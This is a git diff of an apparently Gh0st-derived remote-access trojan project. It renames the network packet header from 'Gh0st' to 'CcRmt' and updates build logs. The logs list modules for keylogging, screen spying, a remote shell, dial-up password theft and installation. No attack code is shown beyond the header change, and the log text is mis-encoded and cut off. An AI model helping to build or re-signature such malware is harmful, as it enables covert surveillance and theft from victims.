diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo index c57b8c9..4842541 100644 Binary files a/CcMainDll/.vs/CcMainDll/v15/.suo and b/CcMainDll/.vs/CcMainDll/v15/.suo differ diff --git a/CcMainDll/CcMainDll/ClientSocket.cpp b/CcMainDll/CcMainDll/ClientSocket.cpp index 3aa8b93..69ac321 100644 --- a/CcMainDll/CcMainDll/ClientSocket.cpp +++ b/CcMainDll/CcMainDll/ClientSocket.cpp @@ -29,7 +29,7 @@ CClientSocket::CClientSocket() m_bIsRunning = false; m_Socket = INVALID_SOCKET; // Packet Flag; - BYTE bPacketFlag[] = { 'G', 'h', '0', 's', 't' }; //注意这个数据头 ,在讲解gh0st主控端的时候我就说过,要一致 + BYTE bPacketFlag[] = { 'C', 'c', 'R', 'm', 't' }; //注意这个数据头 ,在讲解gh0st主控端的时候我就说过,要一致 memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag)); } //---析构函数 用于类的销毁 diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log index 28245a5..7c9eec3 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log @@ -1 +1,36 @@ -g:\ccremote\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll +f:\myapp\ccremote\bin\server\ccmaindll.lib +f:\myapp\ccremote\bin\server\ccmaindll.exp +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audio.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videocap.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\manager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\kernelmanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\install.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj +f:\myapp\ccremote\bin\server\ccmaindll.ilk +f:\myapp\ccremote\bin\server\ccmaindll.dll +f:\myapp\ccremote\bin\server\ccmaindll.pdb +f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\ccmaindll.write.1u.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.log b/CcMainDll/CcMainDll/Debug/CcMainDll.log index 30bd900..f44cc49 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.log +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.log @@ -1,108 +1,108 @@ -锘縂:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 鐩綍鏈互鏂滄潬缁撳熬銆 姝ょ敓鎴愬疄渚嬪皢娣诲姞鏂滄潬锛屽洜涓哄繀椤绘湁杩欎釜鏂滄潬鎵嶈兘姝g‘璁$畻 Output 鐩綍銆 +锘緾:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 鐩綍鏈互鏂滄潬缁撳熬銆 姝ょ敓鎴愬疄渚嬪皢娣诲姞鏂滄潬锛屽洜涓哄繀椤绘湁杩欎釜鏂滄潬鎵嶈兘姝g‘璁$畻 Output 鐩綍銆 cl : 鍛戒护琛 warning D9002: 蹇界暐鏈煡閫夐」鈥/Zc:stricStrings鈥 pch.cpp cl : 鍛戒护琛 warning D9002: 蹇界暐鏈煡閫夐」鈥/Zc:stricStrings鈥 Audio.cpp -g:\ccremote\ccremote\common\audio.cpp(99): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 +f:\myapp\ccremote\common\audio.cpp(99): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 cl : 鍛戒护琛 warning D9002: 蹇界暐鏈煡閫夐」鈥/Zc:stricStrings鈥 ClientSocket.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: 鈥>=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: 鈥滃垵濮嬪寲鈥: 浠庘渄ouble鈥濊浆鎹㈠埌鈥渦nsigned long鈥濓紝鍙兘涓㈠け鏁版嵁 -g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: 鈥>=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: 鈥>=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: 鈥滃垵濮嬪寲鈥: 浠庘渄ouble鈥濊浆鎹㈠埌鈥渦nsigned long鈥濓紝鍙兘涓㈠け鏁版嵁 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: 鈥>=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 Buffer.cpp until.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 鍙傝鈥渟trcmpi鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 琚0鏄庝负宸插惁鍐 - g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 鍙傝鈥淕etVersionExA鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 琚0鏄庝负宸插惁鍐 - g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 鍙傝鈥淕etVersionExA鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 鍙傝鈥渟trcmpi鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 琚0鏄庝负宸插惁鍐 + d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 鍙傝鈥淕etVersionExA鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 琚0鏄庝负宸插惁鍐 + d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 鍙傝鈥淕etVersionExA鈥濈殑澹版槑 姝e湪鐢熸垚浠g爜... cl : 鍛戒护琛 warning D9002: 蹇界暐鏈煡閫夐」鈥/Zc:stricStrings鈥 AudioManager.cpp Dialupass.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 琚0鏄庝负宸插惁鍐 - g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 鍙傝鈥淕etVersionExA鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 琚0鏄庝负宸插惁鍐 + d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 鍙傝鈥淕etVersionExA鈥濈殑澹版槑 install.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: 鈥淒esc鈥: 鏈紩鐢ㄧ殑灞閮ㄥ彉閲 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 鍙傝鈥渟trncpy鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 鍙傝鈥渟trcat鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 鍙傝鈥渟trncpy鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 鍙傝鈥渟trcat鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: 鈥淒esc鈥: 鏈紩鐢ㄧ殑灞閮ㄥ彉閲 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 鍙傝鈥渟trncpy鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 鍙傝鈥渟trcat鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 鍙傝鈥渟trncpy鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 鍙傝鈥渟trcat鈥濈殑澹版槑 KernelManager.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 KeyboardManager.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 Manager.cpp RegEditEx.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 鍙傝鈥渟trnicmp鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 鍙傝鈥渟trncat鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 鍙傝鈥渟trncat鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 鍙傝鈥渟trcat鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 鍙傝鈥渟trnicmp鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 鍙傝鈥渟trncat鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 鍙傝鈥渟trncat鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 鍙傝鈥渟trcat鈥濈殑澹版槑 ScreenManager.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: 鈥淿WIN32_WINNT鈥: 瀹忛噸瀹氫箟 - g:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 鍙傝鈥淿WIN32_WINNT鈥濈殑鍓嶄竴涓畾涔 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: 鈥淿WIN32_WINNT鈥: 瀹忛噸瀹氫箟 + d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 鍙傝鈥淿WIN32_WINNT鈥濈殑鍓嶄竴涓畾涔 ScreenSpy.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018: 鈥>鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018: 鈥>鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 ShellManager.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 鍙傝鈥渟trcat鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 鍙傝鈥渟trcat鈥濈殑澹版槑 SystemManager.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: 鈥渃bNeeded鈥: 鏈紩鐢ㄧ殑灞閮ㄥ彉閲 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: 鈥渃bNeeded鈥: 鏈紩鐢ㄧ殑灞閮ㄥ彉閲 VideoCap.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: 鈥済CapTureParms鈥: 鏈紩鐢ㄧ殑灞閮ㄥ彉閲 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(119): warning C4101: 鈥済CapTureParms鈥: 鏈紩鐢ㄧ殑灞閮ㄥ彉閲 VideoManager.cpp 姝e湪鐢熸垚浠g爜... cl : 鍛戒护琛 warning D9002: 蹇界暐鏈煡閫夐」鈥/Zc:stricStrings鈥 FileManager.cpp -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: 鈥=鈥: 浠庘渦nsigned __int64鈥濊浆鎹㈠埌鈥渦nsigned long鈥濓紝鍙兘涓㈠け鏁版嵁 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: 鈥=鈥: 浠庘渦nsigned __int64鈥濊浆鎹㈠埌鈥渦nsigned long鈥濓紝鍙兘涓㈠け鏁版嵁 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: 鈥+鈥: 鏁村瀷甯搁噺婧㈠嚭 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 -g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: 鈥淐FileManager::OpenFile鈥: 涓嶆槸鎵鏈夌殑鎺т欢璺緞閮借繑鍥炲 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: 鈥=鈥: 浠庘渦nsigned __int64鈥濊浆鎹㈠埌鈥渦nsigned long鈥濓紝鍙兘涓㈠け鏁版嵁 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: 鈥=鈥: 浠庘渦nsigned __int64鈥濊浆鎹㈠埌鈥渦nsigned long鈥濓紝鍙兘涓㈠け鏁版嵁 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): 